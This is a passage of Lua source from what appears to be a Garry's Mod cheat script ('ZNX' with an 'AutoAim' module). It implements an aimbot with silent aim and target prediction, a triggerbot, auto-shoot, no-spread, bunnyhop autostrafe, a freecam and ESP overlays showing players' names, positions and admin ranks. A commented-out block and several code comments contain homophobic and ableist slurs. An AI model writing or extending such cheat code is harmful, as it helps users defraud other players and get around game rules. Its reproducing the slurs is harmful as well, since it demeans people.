  2202. local time = (dist / 3500) + 0.05
  2203. targetPos = targetPos + (EntM["GetVelocity"](target) * time)
  2204. end
  2205. local mul = 0.0075
  2206. end
  2207. return targetPos
  2208. end
  2209. AA:AddHook("TargetPrediction", "TargetPrediction")
  2210. function AA:SetAngle(ang)
  2211. if LocalPlayer():GetActiveWeapon() != NULL then
  2212. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2213. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2214. end
  2215. self.SetAngleTo = ang
  2216. end
  2217. AA:CreateSetting("smoothspeed", "Smooth aim speed (0 to disable)", 120, {Min = 0, Max = 360})
  2218. AA:CreateSetting("snaponfire", "Snap on fire", true)
  2219. AA:CreateSetting("snapgrace", "Snap on fire grace", 0.5, {Min = 0, Max = 3, Places = 1})
  2220. AA.LastAttack = 0
  2221. function AA:SetAimAngles(cmd)
  2222. if LocalPlayer():GetActiveWeapon() != NULL then
  2223. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2224. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2225. end
  2226. self:RotateView(cmd)
  2227. if !self:Enabled() && !self.SetAngleTo then return end
  2228. local ply = LocalPlayer()
  2229. if !ValidEntity(ply) then return end
  2230. local targetAim = self:GetView()
  2231. local target = self:GetTarget()
  2232. if target then
  2233. local targetPos = self:TargetPosition(target)
  2234. targetAim = VecM["Angle"](targetPos - ply:GetShootPos())
  2235. end
  2236. if self:Setting("snaponfire") then
  2237. local time = CurTime()
  2238. if PlyM["KeyDown"](ply, IN_ATTACK) || PlyM["KeyDown"](ply, IN_ATTACK2) || self:Setting("autoshoot") != 0 then
  2239. self.LastAttack = time
  2240. end
  2241. if CurTime() - self.LastAttack > self:Setting("snapgrace") then
  2242. targetAim = self:GetView()
  2243. end
  2244. end
  2245. if self.SetAngleTo then
  2246. targetAim = self.SetAngleTo
  2247. end
  2248. local smooth = self:Setting("smoothspeed")
  2249. if smooth > 0 then
  2250. local current = CmdM["GetViewAngles"](cmd)
  2251. current = self:ApproachAngle(current, targetAim, smooth * FrameTime())
  2252. current.r = 0
  2253. if self.RevertingAim then
  2254. local diff = self:NormalizeAngle(current - self:GetView())
  2255. if math.abs(diff.p) < 1 && math.abs(diff.y) < 1 then self.RevertingAim = false end
  2256. elseif targetAim == self:GetView() then
  2257. current = targetAim
  2258. end
  2259. if self.SetAngleTo then
  2260. local diff = self:NormalizeAngle(current - self.SetAngleTo)
  2261. if math.abs(diff.p) < 1 && math.abs(diff.y) < 1 then self.SetAngleTo = nil end
  2262. end
  2263. aim = current
  2264. else
  2265. aim = targetAim
  2266. self.SetAngleTo = nil
  2267. end
  2268. CmdM["SetViewAngles"](cmd, aim)
  2269. local sensitivity = 0.22
  2270. local diff = aim - CmdM["GetViewAngles"](cmd)
  2271. CmdM["SetMouseX"](cmd, diff.y / sensitivity)
  2272. CmdM["SetMouseY"](cmd, diff.p / sensitivity)
  2273. local move = Vector(CmdM["GetForwardMove"](cmd), CmdM["GetSideMove"](cmd), 0)
  2274. local norm = VecM["GetNormal"](move)
  2275. local set = AngM["Forward"](VecM["Angle"](norm) + (aim - self:GetView())) * VecM["Length"](move)
  2276. CmdM["SetForwardMove"](cmd, set.x)
  2277. CmdM["SetSideMove"](cmd, set.y)
  2278. end
  2279. AA:AddHook("CreateMove", "SetAimAngles")
  2280. function AA:RevertAim()
  2281. if LocalPlayer():GetActiveWeapon() != NULL then
  2282. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2283. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2284. end
  2285. self.RevertingAim = true
  2286. end
  2287. AA:AddHook("TargetLost", "RevertAim")
  2288. function AA:StopRevertAim()
  2289. if LocalPlayer():GetActiveWeapon() != NULL then
  2290. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2291. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2292. end
  2293. self.RevertingAim = false
  2294. end
  2295. AA:AddHook("TargetGained", "RevertAim")
  2296. function AA:ViewToAim()
  2297. if LocalPlayer():GetActiveWeapon() != NULL then
  2298. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2299. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2300. end
  2301. if self:Enabled() then return end
  2302. self:SetAngle(self:GetView())
  2303. end
  2304. AA:AddHook("OnToggled", "ViewToAim")
  2305. AA:CreateSetting("crosshair", "Crosshair size (0 to disable)", 18, {Min = 0, Max = 20})
  2306. function AA:DrawTarget()
  2307. if LocalPlayer():GetActiveWeapon() != NULL then
  2308. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2309. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2310. end
  2311. if !self:Enabled() then return end
  2312. local target = self:GetTarget()
  2313. if !target then return end
  2314. local size = self:Setting("crosshair")
  2315. if size <= 0 then return end
  2316. local blocked, aimOff = self:TargetBlocked()
  2317. if blocked then
  2318. surface.SetDrawColor(255, 0, 0, 255)
  2319. elseif aimOff then
  2320. surface.SetDrawColor(255, 255, 0, 255)
  2321. else
  2322. surface.SetDrawColor(0, 255, 0, 255)
  2323. end
  2324. local pos = self:TargetPosition(target)
  2325. local screen = VecM["ToScreen"](pos)
  2326. local x, y = screen.x, screen.y
  2327. local a, b = size / 2, size / 6
  2328. surface.DrawLine(x - a, y - a, x - b, y - a)
  2329. surface.DrawLine(x - a, y - a, x - a, y - b)
  2330. surface.DrawLine(x + a, y + a, x + b, y + a)
  2331. surface.DrawLine(x + a, y + a, x + a, y + b)
  2332. surface.DrawLine(x + a, y - a, x + b, y - a)
  2333. surface.DrawLine(x + a, y - a, x + a, y - b)
  2334. surface.DrawLine(x - a, y + a, x - b, y + a)
  2335. surface.DrawLine(x - a, y + a, x - a, y + b)
  2336. end
  2337. AA:AddHook("HUDPaint", "DrawTarget")
  2338. AA.ScreenMaxAngle = {
  2339. Length = 0,
  2340. FOV = 0,
  2341. MaxAngle = 0
  2342. }
  2343. AA:CreateSetting("draw_maxangle", "Draw Max Angle", true)
  2344. function AA:DrawMaxAngle()
  2345. if LocalPlayer():GetActiveWeapon() != NULL then
  2346. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2347. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2348. end
  2349. if !self:Enabled() then return end
  2350. local show = AA:Setting("draw_maxangle")
  2351. if !show then return end
  2352. local ply = LocalPlayer()
  2353. if !ValidEntity(ply) then return end
  2354. local info = self.ScreenMaxAngle
  2355. local maxang = AA:Setting("maxangle")
  2356. local fov = PlyM["GetFOV"](ply)
  2357. if GetViewEntity() == ply && (maxang != info.MaxAngle || fov != info.FOV) then
  2358. local view = self:GetView()
  2359. view.p = view.p + maxang
  2360. local screen = (PlyM["GetShootPos"](ply) + (AngM["Forward"](view) * 100))
  2361. screen = VecM["ToScreen"](screen)
  2362. info.Length = math.abs((ScrH() / 2) - screen.y)
  2363. info.MaxAngle = maxang
  2364. info.FOV = fov
  2365. end
  2366. local length = info.Length
  2367. local cx, cy = ScrW() / 2, ScrH() / 2
  2368. for x = -1, 1 do
  2369. for y = -1, 1 do
  2370. if x != 0 || y != 0 then
  2371. local add = VecM["GetNormal"](Vector(x, y, 0)) * length
  2372. surface.SetDrawColor(0, 0, 0, 255)
  2373. surface.DrawRect((cx + add.x) - 2, (cy + add.y) - 2, 5, 5)
  2374. surface.SetDrawColor(255, 255, 255, 255)
  2375. surface.DrawRect((cx + add.x) - 1, (cy + add.y) - 1, 3, 3)
  2376. end
  2377. end
  2378. end
  2379. end
  2380. AA:AddHook("HUDPaint", "DrawMaxAngle")
  2381. AA.AttackDown = false
  2382. function AA:SetShooting(bool)
  2383. if LocalPlayer():GetActiveWeapon() != NULL then
  2384. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2385. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2386. end
  2387. if self.AttackDown == bool then return end
  2388. self.AttackDown = bool
  2389. local pre = {[true] = "+", [false] = "-"}
  2390. RunConsoleCommand(pre[bool] .. "attack")
  2391. end
  2392. AA.NextShot = 0
  2393. AA:CreateSetting("autoshoot", "Max auto-shoot distance (0 to disable)", 0, {Min = 0, Max = 16384})
  2394. function AA:Shoot()
  2395. if LocalPlayer():GetActiveWeapon() != NULL then
  2396. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2397. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2398. end
  2399. if !self:Enabled() then
  2400. self:SetShooting(false)
  2401. return
  2402. end
  2403. local maxDist = self:Setting("autoshoot")
  2404. if maxDist == 0 then return end
  2405. local target = self:GetTarget()
  2406. if !target then return end
  2407. local blocked, wrongAim = self:TargetBlocked(target)
  2408. if blocked || wrongAim then return end
  2409. local ply = LocalPlayer()
  2410. if !ValidEntity(ply) then return end
  2411. local targetPos = self:TargetPosition(target)
  2412. local distance = VecM["Length"](targetPos - ply:GetShootPos())
  2413. if distance > maxDist && maxDist != -1 then return end
  2414. if CurTime() < self.NextShot then return end
  2415. local weap = PlyM["GetActiveWeapon"](ply)
  2416. if !ValidEntity(weap) then return end
  2417. self:SetShooting(true)
  2418. if self:IsSemiAuto(weap) then
  2419. timer.Simple(0.05, function() self:SetShooting(false) end)
  2420. end
  2421. self.NextShot = CurTime() + 0.1
  2422. end
  2423. AA:AddHook("Think", "Shoot")
  2424. function AA:StopShooting()
  2425. if LocalPlayer():GetActiveWeapon() != NULL then
  2426. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2427. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2428. end
  2429. self:SetShooting(false)
  2430. end
  2431. AA:AddHook("TargetLost", "StopShooting")
  2432. AA.IsEnabled = false
  2433. function AA:Enabled() return self.IsEnabled end
  2434. function AA:SetEnabled(bool)
  2435. if self.IsEnabled == bool then return end
  2436. self.IsEnabled = bool
  2437. local e = {[true] = "1", [false] = "0"}
  2438. RunConsoleCommand("aa_enabled", e[self.IsEnabled])
  2439. self:CallHook("OnToggled")
  2440. end
  2441. function AA:Toggle()
  2442. self:SetEnabled(!self:Enabled())
  2443. end
  2444. concommand.Add("aa_toggle", function() AA:Toggle() end)
  2445. AA:CreateSetting("enabled", "Enabled", false, {Save = false})
  2446. function AA:ConVarEnabled(_, old, val)
  2447. if old == val then return end
  2448. val = tonumber(val) or 0
  2449. self:SetEnabled(val > 0)
  2450. end
  2451. AA:AddCVarHook("aa_enabled", "ConVarEnabled")
  2452. concommand.Add("+aa", function() AA:SetEnabled(true) end)
  2453. concommand.Add("-aa", function() AA:SetEnabled(false) end)
  2454. function AA:OpenMenu()
  2455. local w, h = ScrW() / 3, ScrH() / 2
  2456. local menu = vgui.Create("DFrame")
  2457. menu:SetTitle("AutoAim")
  2458. menu:SetSize(w, h)
  2459. menu:Center()
  2460. menu.Paint = function()
  2461. draw.RoundedBox( 8, 0, 0, menu:GetWide(), menu:GetTall(), Color( 0, 0, 0, 210 ) )
  2462. end
  2463. menu:MakePopup()
  2464. local scroll = vgui.Create("DPanelList", menu)
  2465. scroll:SetPos(5, 25)
  2466. scroll:SetSize(w - 10, h - 30)
  2467. scroll:EnableVerticalScrollbar()
  2468. local form = vgui.Create("DForm", menu)
  2469. form:SetName("")
  2470. form.Paint = function()
  2471. draw.RoundedBox( 8, 0, 0, form:GetWide(), form:GetTall(), Color( 180, 180, 180, 30 ) )
  2472. end
  2473. scroll:AddItem(form)
  2474. self:BuildMenu(form)
  2475. if AA.Menu then AA.Menu:Remove() end
  2476. AA.Menu = menu
  2477. end
  2478. concommand.Add("aa_menu", function() AA:OpenMenu() end)
  2479. function AA:RegisterMenu()
  2480. spawnmenu.AddToolMenuOption("Options", "Hacks", "AutoAim", "AutoAim", "", "", function(p) self:BuildMenu(p) end)
  2481. end
  2482. AA:AddHook("PopulateToolMenu", "RegisterMenu")
  2483. function AA:AngleBetween(a, b)
  2484. if LocalPlayer():GetActiveWeapon() != NULL then
  2485. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2486. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2487. end
  2488. return math.deg(math.acos(VecM["Dot"](a, b)))
  2489. end
  2490. function AA:NormalizeAngle(ang)
  2491. if LocalPlayer():GetActiveWeapon() != NULL then
  2492. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2493. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2494. end
  2495. return Angle(math.NormalizeAngle(ang.p), math.NormalizeAngle(ang.y), math.NormalizeAngle(ang.r))
  2496. end
  2497. function AA:ApproachAngle(start, target, add)
  2498. if LocalPlayer():GetActiveWeapon() != NULL then
  2499. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2500. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2501. end
  2502. local diff = self:NormalizeAngle(target - start)
  2503. local vec = Vector(diff.p, diff.y, diff.r)
  2504. local len = VecM["Length"](vec)
  2505. vec = VecM["GetNormal"](vec) * math.min(add, len)
  2506. return start + Angle(vec.x, vec.y, vec.z)
  2507. end
  2508. local notAuto = {"weapon_pistol", "weapon_rpg", "weapon_357", "weapon_crossbow"}
  2509. function AA:IsSemiAuto(weap)
  2510. if LocalPlayer():GetActiveWeapon() != NULL then
  2511. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2512. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2513. end
  2514. if !ValidEntity(weap) then return end
  2515. return (weap.Primary && !weap.Primary.Automatic) || table.HasValue(notAuto, EntM["GetClass"](weap))
  2516. end
  2517. local isfiring = false
  2518. local lastoldang = 0
  2519. function ZNX.AimbotCore( cmd )
  2520. if ZNX.Vars.Aimbot and AA.IsEnabled == true then
  2521. ZNX.ChatText( "Ancien Aimbot désactivé pour eviter les bugs \nVous devez désactivé le Aimbot Normal \nPour pouvoir activer l'Ancien Aimbot !", Color(255,0,0) )
  2522. AA:SetEnabled(false)
  2523. end
  2524. local ply = LocalPlayer()
  2525. if !ZNX.Vars.SilentAim then ZNX.InternalFakeAngles = 0 end
  2526. if lastoldang and isangle( lastoldang ) then
  2527. cmd:SetViewAngles( lastoldang )
  2528. lastoldang = 0
  2529. end
  2530. if !ZNX.Vars.Aimbot then
  2531. lastoldang = 0
  2532. ZNX.AimbotPreviewTarget = -1
  2533. ZNX.AimbotTarget = game.GetWorld()
  2534. return
  2535. end
  2536. if !ZNX.Vars.AimbotStickyLock then
  2537. local closestfag = ZNX.GetClosestToCursor( true )
  2538. if closestfag != ZNX.AimbotTarget then ZNX.AimbotTarget = closestfag end
  2539. end
  2540. local atarg = ZNX.AimbotTarget
  2541. local pozzed = ZNX.PrepareForAStomping( atarg )
  2542. if isvector( pozzed ) then ZNX.AimbotPreviewTarget = pozzed end
  2543. -- negate target if they are invalid for whatever reason
  2544. if !atarg:IsValid() or ZNX.IsDead( atarg ) or !ZNX.InFOV( atarg ) or !ZNX.CanTargetPlayer( atarg ) or (ZNX.ToMetric(ply:GetPos():Distance(atarg:GetPos())) >= ZNX.NumberVars.AimbotDist) or !isvector( pozzed ) then
  2545. ZNX.AimbotPreviewTarget = -1
  2546. ZNX.AimbotTarget = ZNX.GetClosestToCursor( true )
  2547. ZNX.InternalFakeAngles = 0
  2548. return
  2549. end
  2550. -- snap only on fire option
  2551. if ZNX.Vars.SnapOnFire and !input.IsMouseDown(MOUSE_LEFT) or !ply:GetActiveWeapon() or !ply:GetActiveWeapon():IsValid() or !ZNX.CanBotShoot( ply:GetActiveWeapon() ) then
  2552. -- ZNX.AimbotTarget = game.GetWorld()
  2553. targetlerp = LocalPlayer():EyeAngles()
  2554. return
  2555. end
  2556. -- keybind mode
  2557. if ZNX.Vars.AimbotBindMode then
  2558. local khn = ZNX.NumberVars.AimbotBindKey
  2559. if not ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then
  2560. -- ZNX.AimbotTarget = game.GetWorld()
  2561. targetlerp = LocalPlayer():EyeAngles()
  2562. return
  2563. end
  2564. end
  2565. -- cap a motherfucker
  2566. ZNX.AimbotPreviewTarget = pozzed
  2567. local aids = pozzed - ply:GetShootPos()
  2568. aids = aids:Angle()
  2569. aids:Normalize()
  2570. if ZNX.NumberVars.AimbotSmooth > 0 then
  2571. targetlerp = LerpAngle(FrameTime() * ((51 - ZNX.NumberVars.AimbotSmooth) / 5), targetlerp, aids)
  2572. aids = targetlerp
  2573. end
  2574. aids = Angle( aids.p, aids.y, 0 )
  2575. if ZNX.Vars.SilentAim then
  2576. lastoldang = cmd:GetViewAngles() + Angle( cmd:GetMouseY() * 0.02, -cmd:GetMouseX() * 0.015, 0 )
  2577. ZNX.InternalFakeAngles = lastoldang
  2578. end
  2579. cmd:SetViewAngles(aids)
  2580. if ZNX.Vars.SilentAim then ZNX.FixMove( cmd, true ) end
  2581. if ZNX.Vars.AutoShoot and !ZNX.Vars.Autoclick and !ZNX.Vars.Triggerbot then
  2582. if( !isfiring ) then
  2583. cmd:SetButtons( bit.bor( cmd:GetButtons(), IN_ATTACK ) )
  2584. isfiring = true
  2585. else
  2586. cmd:SetButtons( bit.band( cmd:GetButtons(), bit.bnot( IN_ATTACK ) ) )
  2587. isfiring = false
  2588. end
  2589. end
  2590. end
  2591. local function ch_bunnyhop(ply)
  2592. if( ZNX.Vars.Bhop) then
  2593. if(ply:KeyDown(IN_JUMP) && !LocalPlayer():IsOnGround()) then
  2594. ply:RemoveKey(IN_JUMP);
  2595. if !LocalPlayer():IsFlagSet( FL_ONGROUND ) and LocalPlayer():GetMoveType() != MOVETYPE_NOCLIP then
  2596. if(ply:GetMouseX() > 1 || ply:GetMouseX() < -1) then
  2597. ply:SetSideMove(ply:GetMouseX() > 1 && 400 || -400);
  2598. else
  2599. ply:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D());
  2600. ply:SetSideMove((ply:CommandNumber() % 2 == 0) && -400 || 400);
  2601. end
  2602. end
  2603. elseif(ply:KeyDown(IN_JUMP) && ZNX.Vars.BhopAutostrafe) then
  2604. ply:SetForwardMove(10000)
  2605. end
  2606. end
  2607. end
  2608. hook.Add("CreateMove", "", function(ply)
  2609. ch_bunnyhop(ply);
  2610. end);
  2611. function Nospread()
  2612. if ZNX.Vars.CompSpread then
  2613. hook.Add("Think", "nospread", function ()
  2614. if LocalPlayer():GetActiveWeapon().Primary then
  2615. LocalPlayer():GetActiveWeapon().Primary.Cone = 0
  2616. LocalPlayer():GetActiveWeapon().Primary.Spread = 0
  2617. end
  2618. end)
  2619. end
  2620. end
  2621. hook.Add("Think", "Nospreading", Nospread)
  2622. local vw = Angle( 0, 0, 0 )
  2623. local targetlerp = Angle( 0, 0, 0)
  2624. local nxtangle = false
  2625. function ZNX.CreateMove( cmd )
  2626. local ply = LocalPlayer()
  2627. if !ply:IsValid() then return end
  2628. local amemfootprint = gcinfo()
  2629. if ZNX.Vars.Triggerbot and ply:Alive() and ply:GetActiveWeapon() and ply:GetActiveWeapon():IsValid() and ZNX.CanBotShoot( ply:GetActiveWeapon() ) then
  2630. local td = {start = ply:GetShootPos(), endpos = ply:GetShootPos() + ply:EyeAngles():Forward() * 65535, filter = ply, mask = MASK_SHOT}
  2631. local tr = util.TraceLine(td)
  2632. if (tr.Entity:IsPlayer() and ZNX.CanTargetPlayer( tr.Entity ) ) or tr.Entity:IsNPC() or tr.Entity.Type == "nextbot" then
  2633. if( !isfiring ) then
  2634. cmd:SetButtons( bit.bor( cmd:GetButtons(), IN_ATTACK ) )
  2635. isfiring = true
  2636. else
  2637. cmd:SetButtons( bit.band( cmd:GetButtons(), bit.bnot( IN_ATTACK ) ) )
  2638. isfiring = false
  2639. end
  2640. end
  2641. end
  2642. if ZNX.ScrollDelta != 0 then cmd:SetMouseWheel( ZNX.ScrollDelta ) end
  2643. if( ZNX.Vars.RopeStorm and ply:KeyDown(IN_ATTACK2)) then
  2644. local aids = Angle(math.random(-90, 90), math.random(-180, 180), 0)
  2645. aids:Normalize()
  2646. cmd:SetViewAngles(aids)
  2647. if ply:KeyDown(IN_ATTACK2) then cmd:RemoveKey(IN_ATTACK2) end
  2648. end
  2649. if ZNX.Vars.FreecamControls then
  2650. local khn = ZNX.NumberVars.FreecamForward
  2651. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.pos = ZNX.FreecamCoordinates.pos + ZNX.FreecamCoordinates.ang:Forward() * 7 end
  2652. local khn = ZNX.NumberVars.FreecamBack
  2653. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.pos = ZNX.FreecamCoordinates.pos - ZNX.FreecamCoordinates.ang:Forward() * 7 end
  2654. local khn = ZNX.NumberVars.FreecamLeft
  2655. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.y = ZNX.FreecamCoordinates.ang.y + 1 end
  2656. local khn = ZNX.NumberVars.FreecamRight
  2657. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.y = ZNX.FreecamCoordinates.ang.y - 1 end
  2658. local khn = ZNX.NumberVars.FreecamUp
  2659. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.p = ZNX.FreecamCoordinates.ang.p - 0.75 end
  2660. local khn = ZNX.NumberVars.FreecamDown
  2661. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.p = ZNX.FreecamCoordinates.ang.p + 0.75 end
  2662. end
  2663. ZNX.AimbotCore( cmd )
  2664. ZNX.MemoryDebug["aimbot"] = gcinfo() - amemfootprint
  2665. end
  2666. hook.Add( "CreateMove", "cmove", ZNX.CreateMove )
  2667. local xraytrans = Color(255, 255, 255, 101)
  2668. surface.CreateFont( "memes", {
  2669. font = "Trebuchet",
  2670. size = 200,
  2671. weight = 950,
  2672. } )
  2673. local scanmat = Material("particle/particle_ring_blur")
  2674. local leadermat = Material( "particle/particle_ring_wave_additive" )
  2675. local beammat = Material("trails/laser")
  2676. function ZNX.Vision()
  2677. local me = LocalPlayer()
  2678. if !me:IsValid() then return end
  2679. local memfootprint = gcinfo()
  2680. --[[
  2681. for i = 0, ScrH(), 200 do
  2682. for w = 0, ScrW(), 200 do
  2683. draw.SimpleTextOutlined( ":^)", "memes", w, i, Color(255,255,255,255), 0, 0, 1, Color(0,0,55,255) )
  2684. end
  2685. end
  2686. draw.SimpleTextOutlined( "IM A HUGE FUCKING FAGGOT", "memes", 200, ScrH() / 2 - 230, Color(255,0,0,255), 0, 0, 1, Color(0,0,55,255) )
  2687. draw.SimpleTextOutlined( "WHO USES LEAKED HACKS", "memes", 260, ScrH() / 2 - 50, Color(255,0,0,255), 0, 0, 1, Color(0,0,55,255) )
  2688. draw.SimpleTextOutlined( "COS IM POOR AND RETARDED", "memes", 180, ScrH() / 2 + 150, Color(255,0,0,255), 0, 0, 1, Color(0,0,55,255) )
  2689. --]]
  2690. if !ZNX.Vars.Vision then return end
  2691. if ZNX.Vars.CSFlashlight then
  2692. local dlight = DynamicLight( me:EntIndex() + 5 )
  2693. if ( dlight ) then
  2694. dlight.pos = me:GetEyeTraceNoCursor().HitPos
  2695. dlight.r = 255
  2696. dlight.g = 255
  2697. dlight.b = 255
  2698. dlight.brightness = 2
  2699. dlight.Decay = 1000
  2700. dlight.Size = 2256
  2701. dlight.DieTime = CurTime() + 0.5
  2702. end
  2703. end
  2704. if ZNX.Vars.ShowFPS then
  2705. DrawOutlinedText ( os.date( "%H:%M:%S"), "Fontnpcesp", ScrW()-40, 10, Color(255,255,0,255), 1, Color(0,0,0,255) )
  2706. DrawOutlinedText ( "FPS: ", "Fontnpcesp", ScrW()-48, 23, Color(255,255,0,255), 1, Color(0,0,0,255) )
  2707. DrawOutlinedText ( math.Round( 1/FrameTime()), "Fontnpcesp", ScrW()-28, 23, Color(255,255,0,255), 1, Color(0,0,0,255) )
  2708. DrawOutlinedText ( "PING: ", "Fontnpcesp", ScrW()-46, 36, Color(255,255,0,255), 1, Color(0,0,0,255) )
  2709. DrawOutlinedText ( LocalPlayer():Ping(), "Fontnpcesp", ScrW()-27, 36, Color(255,255,0,255), 1, Color(0,0,0,255) )
  2710. end
  2711. if ZNX.Vars.ShowESP then
  2712. if ZNX.Vars.NPC_ESP then
  2713. for k, v in pairs(ents.GetAll()) do
  2714. if( v ~= LocalPlayer() ) then
  2715. if( v:IsNPC() ) then
  2716. local drawColor = Color(238, 206, 48, 255);
  2717. local drawPosit = v:GetPos():ToScreen();
  2718. local textData = {}
  2719. textData.pos = {}
  2720. textData.pos[1] = drawPosit.x;
  2721. textData.pos[2] = drawPosit.y;
  2722. textData.color = drawColor;
  2723. textData.text = v:GetClass();
  2724. textData.font = "Fontnpcesp";
  2725. textData.xalign = TEXT_ALIGN_CENTER;
  2726. textData.yalign = TEXT_ALIGN_CENTER;
  2727. draw.Text( textData );
  2728. end
  2729. end
  2730. end
  2731. end
  2732. -- players
  2733. for k, v in pairs( player.GetAll() ) do
  2734. if ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.VisionDist then continue end
  2735. if !ZNX.OnScreen( v, 50 ) then continue end
  2736. local teamcol, teamcol2
  2737. if ZNX.Vars.TeamColors then
  2738. teamcol = team.GetColor(v:Team())
  2739. teamcol2 = Color(math.Clamp(teamcol.r - 100, 0, 255), math.Clamp(teamcol.g - 100, 0, 255), math.Clamp(teamcol.b - 100, 0, 255), 255)
  2740. else
  2741. teamcol = ZNX.DefaultScheme
  2742. teamcol2 = ZNX.DefaultScheme2
  2743. end
  2744. if v == me then continue end
  2745. local pos = (v:GetPos()+Vector(0,0,70)):ToScreen()
  2746. local admintext = ZNX.GetRank( v )
  2747. if !ZNX.IsDead( v ) then
  2748. if ZNX.Vars.VSquares then
  2749. local posrep = (v:GetPos()+Vector(0,0,40)):ToScreen()
  2750. surface.SetDrawColor(teamcol)
  2751. surface.DrawOutlinedRect(posrep.x - 10, posrep.y - 10, 20, 20)
  2752. surface.SetDrawColor(teamcol2)
  2753. surface.DrawOutlinedRect(posrep.x - 8, posrep.y - 8, 16, 16)
  2754. surface.SetDrawColor(Color(255,255,255,255))
  2755. surface.DrawRect(posrep.x - 2, posrep.y - 2, 4, 4)
  2756. end
  2757. if ZNX.Vars.VNames then draw.SimpleTextOutlined( v:Name(), "DermaDefault", pos.x, pos.y - 62, teamcol, 1, 0, 1, Color(0,0,55,255) ) end
  2758. if ZNX.Vars.BoundingBox3d then cam.Start3D(EyePos(),EyeAngles()) render.DrawWireframeBox( v:GetPos(), Angle(0,0,0), Vector( -16, -16, 0 ), Vector( 16, 16, 72 ), ZNX.ColScheme, true ) cam.End3D() end
  2759. -- propkill shit
  2760. render.SetMaterial( beammat )
  2761. if ZNX.Vars.PKPlayerBeams then
  2762. local vz, ppos = ZNX.PlayerVisiblePK( me:GetShootPos(), v )
  2763. if vz then
  2764. cam.Start3D(EyePos(),EyeAngles())
  2765. render.DrawBeam( (me:GetShootPos() + Vector(0,0,-5)) + EyeAngles():Forward() * 5, ppos, 5, 0, 1, teamcol )
  2766. cam.End3D()
  2767. end
  2768. end
  2769. if ZNX.Vars.PKPropBeams then
  2770. if ZNX.HoldingProp and ZNX.HoldingProp:IsValid() then
  2771. local src = ZNX.HoldingProp:LocalToWorld( ZNX.HoldingProp:OBBCenter() )
  2772. --[[
  2773. cam.Start3D(EyePos(),EyeAngles())
  2774. render.StartBeam( 5 )
  2775. for i = 0, 4 do
  2776. local zp = src + (me:GetAimVector() * (i * 200)) + Vector( 0, 0, -(i ^ 3.15))
  2777. render.AddBeam( zp, 150, i, Color( 255, 100, 0) )
  2778. end
  2779. render.EndBeam()
  2780. render.DrawBeam( me:EyePos(), me:EyePos() + me:GetAimVector() * 2000, 50, 0, 1, Color( 255, 100, 0) )
  2781. cam.End3D()
  2782. --]]
  2783. local vz2, ppos2 = ZNX.PlayerVisiblePK( src, v )
  2784. if vz2 then
  2785. cam.Start3D(EyePos(),EyeAngles())
  2786. render.DrawBeam( src, ppos2, 50, 0, 1, teamcol2 )
  2787. cam.End3D()
  2788. end
  2789. end
  2790. end
  2791. -- target highlighting
  2792. if ZNX.Vars.ShowTargets and ZNX.IsTarget( v ) then
